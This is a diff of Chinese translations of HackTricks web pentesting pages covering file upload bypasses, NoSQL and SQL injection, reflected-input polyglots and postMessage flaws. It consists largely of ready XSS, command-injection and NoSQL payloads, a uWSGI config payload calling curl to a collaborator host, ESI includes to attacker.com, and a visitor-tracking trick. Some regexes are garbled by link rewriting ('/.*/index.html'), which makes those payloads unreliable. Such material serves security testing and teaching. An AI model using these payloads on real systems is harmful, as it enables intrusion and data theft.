||||
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
@ -79,10 +79,10 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- 找到一个**重命名**已上传文件的漏洞（以更改扩展名）。
|
||||
- 找到一个**本地文件包含**漏洞以执行后门。
|
||||
- **可能的信息泄露**：
|
||||
1. **多次**（并且**同时**）上传**同一文件**，使用**相同的名称**
|
||||
1. 上传**多次**（并且在**同一时间**）相同名称的**相同文件**
|
||||
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
|
||||
3. 上传一个文件，其名称为**“.”、 “..”或“…”**。例如，在 Apache 的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
|
||||
4. 上传一个可能不易删除的文件，例如**“…:.jpg”**在**NTFS**中。（Windows）
|
||||
3. 上传一个文件，其名称为**“.”、 “..”或“…”**。例如，在 Apache 的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，则“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
|
||||
4. 上传一个可能不容易删除的文件，例如**“…:.jpg”**在**NTFS**中。（Windows）
|
||||
5. 在**Windows**中上传一个包含**无效字符**的文件，例如 `|<>*?”` 作为其名称。（Windows）
|
||||
6. 在**Windows**中上传一个使用**保留**（**禁止**）**名称**的文件，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**（.exe）或一个**.html**（不太可疑），当受害者意外打开时**将执行代码**。
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置，uWSGI 进程必须重新启动（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置，uWSGI 进程必须重新启动（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用了自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
|
||||
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说，讨论的有效负载可以插入到二进制文件中（例如图像或 PDF），进一步扩大潜在利用的范围。
|
||||
|
||||
## **wget 文件上传/SSRF 技巧**
|
||||
|
||||
在某些情况下，您可能会发现服务器使用 **`wget`** 来 **下载文件**，并且您可以 **指示** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单中，以确保仅下载允许的文件。然而，**此检查可以被绕过。**\
|
||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**，但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（因为在这个例子中 **".gif"** 是一个 **有效** 扩展名），但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
|
||||
在 **linux** 中，**文件名**的 **最大** 长度为 **255**，但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（因为在这个例子中 **".gif"** 是一个 **有效** 扩展名），但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意，您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**，因此初始URL将绕过检查，然后wget将下载重定向的文件并使用新名称。这**不会工作**，**除非**wget与**参数**`--trust-server-names`一起使用，因为**wget将下载重定向页面，并使用原始URL中指示的文件名**。
|
||||
注意，您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**，这样初始URL将绕过检查，然后wget将下载重定向的文件并使用新名称。这**不会工作**，**除非**wget与**参数**`--trust-server-names`一起使用，因为**wget将下载重定向页面，并使用原始URL中指示的文件名**。
|
||||
|
||||
## 工具
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程，确保对Web应用程序进行全面评估。
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程，确保对Web应用程序进行全面评估。
|
||||
|
||||
## 从文件上传到其他漏洞
|
||||
|
||||
@ -174,13 +174,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
|
||||
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- 如果您可以**指示Web服务器从URL获取图像**，您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上，您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
|
||||
- [**XXE和CORS**绕过与PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特别制作的PDF以实现XSS：[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF，您可以准备一些将执行任意JS的PDF，遵循给定的指示。
|
||||
- 如果您可以**指示Web服务器从URL获取图像**，您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上，您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
|
||||
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特别制作的PDF以实现XSS：[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF，您可以准备一些将执行任意JS的PDF，按照给定的指示。
|
||||
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
|
||||
- 检查上传文件是否有任何**大小限制**
|
||||
|
||||
以下是您可以通过上传实现的前10个事项（来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）：
|
||||
以下是通过上传可以实现的前10件事（来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）：
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**：Webshell / RCE
|
||||
2. **SVG**：存储的XSS / SSRF / XXE
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
|
||||
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制，并通过操纵目标应用程序的解压功能来逃离安全上传目录。
|
||||
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制，通过操纵目标应用程序的解压功能来逃离安全上传目录。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下：
|
||||
```python
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
在 PHP 中，您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
|
||||
|
||||
这些利用基于添加一个 **操作符**：
|
||||
这些利用基于添加一个 **Operator**：
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点，使查询返回所有文档，因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
|
||||
攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点，使查询通过满足一个恒真条件（`'a'=='a'`）返回所有文档。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -67,7 +67,7 @@ in JSON
|
||||
### **SQL - Mongo**
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
||||
@ -78,7 +78,7 @@ in JSON
|
||||
```
|
||||
### PHP 任意函数执行
|
||||
|
||||
使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符，可能会执行任意函数，如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
|
||||
使用 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符（默认使用），可能会执行任意函数，如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所述。
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -88,7 +88,7 @@ in JSON
|
||||
|
||||
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中，我们从一个名为 **`users`** 的 **不同集合** 中读取，并获取 **所有条目** 的结果，这些条目的密码与通配符匹配。
|
||||
|
||||
**注意：** 只有在使用 `aggregate()` 函数进行搜索时，`$lookup` 和其他聚合函数才可用，而不是更常见的 `find()` 或 `findOne()` 函数。
|
||||
**注意：** 只有在使用 `aggregate()` 函数进行搜索时，`$lookup` 和其他聚合函数才可用，而不是更常用的 `find()` 或 `findOne()` 函数。
|
||||
```json
|
||||
[
|
||||
{
|
||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
|| 1==1//
|
||||
|| 1==1%00
|
||||
}, { password : /.*/ }
|
||||
' && this.password.match(/.*/)//+%00
|
||||
' && this.passwordzz.match(/.*/)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
||||
' && this.password.match(/.*/index.html)//+%00
|
||||
' && this.passwordzz.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
|
||||
{$gt: ''}
|
||||
[$ne]=1
|
||||
';sleep(5000);
|
||||
|
||||
@ -1,16 +1,16 @@
|
||||
# 反射技术 - PoCs 和 Polygloths 备忘单
|
||||
# Reflecting Techniques - PoCs and Polygloths CheatSheet
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用 **输入在响应中以某种方式被反射** 的漏洞。
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**，以便他可以利用 **如果他的输入在响应中以某种方式被反射** 的漏洞。
|
||||
|
||||
> [!WARNING]
|
||||
> 这个 **备忘单并没有提供每个漏洞的全面测试列表**，只是一些基本的测试。如果您在寻找更全面的测试，请访问每个提议的漏洞。
|
||||
|
||||
> [!CAUTION]
|
||||
> 您 **不会找到依赖于 Content-Type 的注入，如 XXE**，因为通常如果您发现发送 xml 数据的请求，您会自己尝试这些。您 **在这里也不会找到数据库注入**，因为即使某些内容可能被反射，它也在很大程度上依赖于后端数据库技术和结构。
|
||||
> 您 **不会找到依赖 Content-Type 的注入，如 XXE**，因为通常如果您发现发送 xml 数据的请求，您会自己尝试这些。您 **也不会在这里找到数据库注入**，因为即使某些内容可能被反射，它也在很大程度上依赖于后端数据库技术和结构。
|
||||
|
||||
## Polygloths 列表
|
||||
## Polygloths list
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
@ -46,7 +46,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
### 多语言者
|
||||
### 多语言程序员
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
`ls`
|
||||
$(ls)
|
||||
```
|
||||
### 多语言者
|
||||
### Polygloths
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
@ -94,7 +94,7 @@ $(ls)
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [文件包含/路径遍历](../file-inclusion/)
|
||||
## [文件包含/路径遍历](../file-inclusion/index.html)
|
||||
|
||||
### 基本测试
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
```
|
||||
## [开放重定向](../open-redirect.md) / [服务器端请求伪造](../ssrf-server-side-request-forgery/)
|
||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
### 基本测试
|
||||
```bash
|
||||
@ -136,15 +136,15 @@ javascript:alert(1)
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### 多语言者
|
||||
### Polygloths
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [服务器端请求伪造](../ssrf-server-side-request-forgery/)
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
|
||||
可以在这里使用与开放重定向相同的测试。
|
||||
用于 Open Redirect 的相同测试可以在这里使用。
|
||||
|
||||
## [服务器端模板注入](../ssti-server-side-template-injection/)
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### 基本测试
|
||||
```markup
|
||||
@ -155,7 +155,7 @@ ${7*7}
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
### 多语言者
|
||||
### Polygloths
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
@ -166,7 +166,7 @@ ${{7*7}}
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### 多语言者
|
||||
### 多语言程序员
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
@ -178,12 +178,12 @@ ${{7*7}}
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### 多语言者
|
||||
### Polygloths
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
||||
|
||||
@ -36,7 +36,7 @@ javascript:alert(1)
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
|
||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
注意在这种情况下，代码的**第一件事**是**检查来源**。这非常**重要**，特别是如果页面将对接收到的信息进行**任何敏感**操作（例如更改密码）。**如果不检查来源，攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码（在这个例子中）。
|
||||
注意在这种情况下，代码的**第一件事**是**检查来源**。这非常**重要**，特别是当页面要对接收到的信息进行**任何敏感**操作（例如更改密码）时。**如果不检查来源，攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码（在这个例子中）。
|
||||
|
||||
### 枚举
|
||||
|
||||
@ -80,7 +80,7 @@ false
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- **在** 浏览器的开发者工具中，转到 _Elements --> Event Listeners_
|
||||
- **在** 浏览器的开发者工具中**转到** _Elements --> Event Listeners_
|
||||
|
||||
.png>)
|
||||
|
||||
@ -102,7 +102,7 @@ false
|
||||
```
|
||||
|
||||
- **`match()`** 函数与 `search()` 类似，处理正则表达式。如果正则表达式结构不当，可能容易被绕过。
|
||||
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而，它并不创建一个新的转义对象，而是覆盖现有对象的属性。这种行为可能被利用。特别是，如果一个对象可以被操控，使其受控属性不承认 `hasOwnProperty`，则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点：
|
||||
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而，它并不创建一个新的转义对象，而是覆盖现有对象的属性。这种行为可以被利用。特别是，如果一个对象可以被操控，使其受控属性不承认 `hasOwnProperty`，则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点：
|
||||
|
||||
- 预期失败：
|
||||
|
||||
@ -126,11 +126,11 @@ result.message // "'"<b>\"
|
||||
|
||||
### e.origin == window.origin 绕过
|
||||
|
||||
在使用 %%%%%% 嵌入网页时，理解 iframe 的来源将被设置为 null 是至关重要的。这在处理**沙箱属性**及其对安全性和功能的影响时尤为重要。
|
||||
在使用 %%%%%% 嵌入网页到**沙箱 iframe** 中时，理解 iframe 的来源将被设置为 null 是至关重要的。这在处理**沙箱属性**及其对安全性和功能的影响时尤为重要。
|
||||
|
||||
通过在沙箱属性中指定 **`allow-popups`**，从 iframe 内部打开的任何弹出窗口都继承其父级的沙箱限制。这意味着，除非还包括 **`allow-popups-to-escape-sandbox`** 属性，否则弹出窗口的来源也被设置为 `null`，与 iframe 的来源一致。
|
||||
|
||||
因此，当在这些条件下打开弹出窗口并使用 **`postMessage`** 从 iframe 向弹出窗口发送消息时，发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true（`null == null`），因为 iframe 和弹出窗口共享相同的来源值 `null`。
|
||||
因此，当在这些条件下打开弹出窗口并使用 **`postMessage`** 从 iframe 向弹出窗口发送消息时，发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true (`null == null`)，因为 iframe 和弹出窗口共享相同的来源值 `null`。
|
||||
|
||||
有关更多信息**请阅读**：
|
||||
|
||||
@ -149,7 +149,7 @@ return
|
||||
```
|
||||
您可以通过创建一个**iframe**，使其**发送****postMessage**并**立即删除**，来强制**`e.source`**的消息为null。
|
||||
|
||||
有关更多信息**请阅读：**
|
||||
有关更多信息，请**阅读：**
|
||||
|
||||
{{#ref}}
|
||||
bypassing-sop-with-iframes-2.md
|
||||
@ -183,7 +183,7 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage 导致原型污染和/或 XSS
|
||||
|
||||
在通过 `postMessage` 发送的数据被 JS 执行的场景中，您可以**嵌入**该**页面**并**利用**原型污染/XSS，通过 `postMessage` 发送漏洞。
|
||||
在通过 `postMessage` 发送的数据被 JS 执行的场景中，您可以**嵌入**该**页面**并**利用**通过 `postMessage` 发送的**原型污染/XSS**进行攻击。
|
||||
|
||||
一些**通过 `postMessage` 解释得非常好的 XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
|
||||
|
||||
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
|
||||
```
|
||||
有关**更多信息**：
|
||||
|
||||
- 链接到关于[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
|
||||
- 链接到关于[**XSS**](../xss-cross-site-scripting/)的页面
|
||||
- 链接到关于[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/index.html)的页面
|
||||
- 链接到关于[**XSS**](../xss-cross-site-scripting/index.html)的页面
|
||||
- 链接到关于[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)的页面
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
## 入口点检测
|
||||
|
||||
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
|
||||
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而显得**易受 SQL 注入 (SQLi)**攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -23,7 +23,7 @@
|
||||
```
|
||||
然后，您需要知道如何**修复查询以避免错误**。为了修复查询，您可以**输入**数据，以便**先前的查询接受新数据**，或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
|
||||
|
||||
_请注意，如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异，这个阶段将会更容易。_
|
||||
_请注意，如果您能看到错误消息或在查询正常工作与不正常工作时能发现差异，这个阶段将会更容易。_
|
||||
|
||||
### **注释**
|
||||
```sql
|
||||
@ -53,9 +53,9 @@ HQL does not support comments
|
||||
```
|
||||
### 使用逻辑运算进行确认
|
||||
|
||||
确认 SQL 注入漏洞的可靠方法是执行 **逻辑运算** 并观察预期结果。例如，当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时，如果返回相同的内容，则表明存在 SQL 注入漏洞。
|
||||
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如，GET 参数 `?username=Peter` 在修改为 `?username=Peter' or '1'='1` 时产生相同内容，表明存在 SQL 注入漏洞。
|
||||
|
||||
同样，应用 **数学运算** 作为有效的确认技术。例如，如果访问 `?id=1` 和 `?id=2-1` 产生相同的结果，则表明存在 SQL 注入。
|
||||
同样，应用 **数学运算** 作为有效的确认技术。例如，如果访问 `?id=1` 和 `?id=2-1` 产生相同结果，这表明存在 SQL 注入。
|
||||
|
||||
演示逻辑运算确认的示例：
|
||||
```
|
||||
@ -164,7 +164,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
选择更多的空值，直到查询正确：
|
||||
选择越来越多的空值，直到查询正确：
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
@ -174,7 +174,7 @@ _您应该使用 `null` 值，因为在某些情况下，查询两侧列的类
|
||||
|
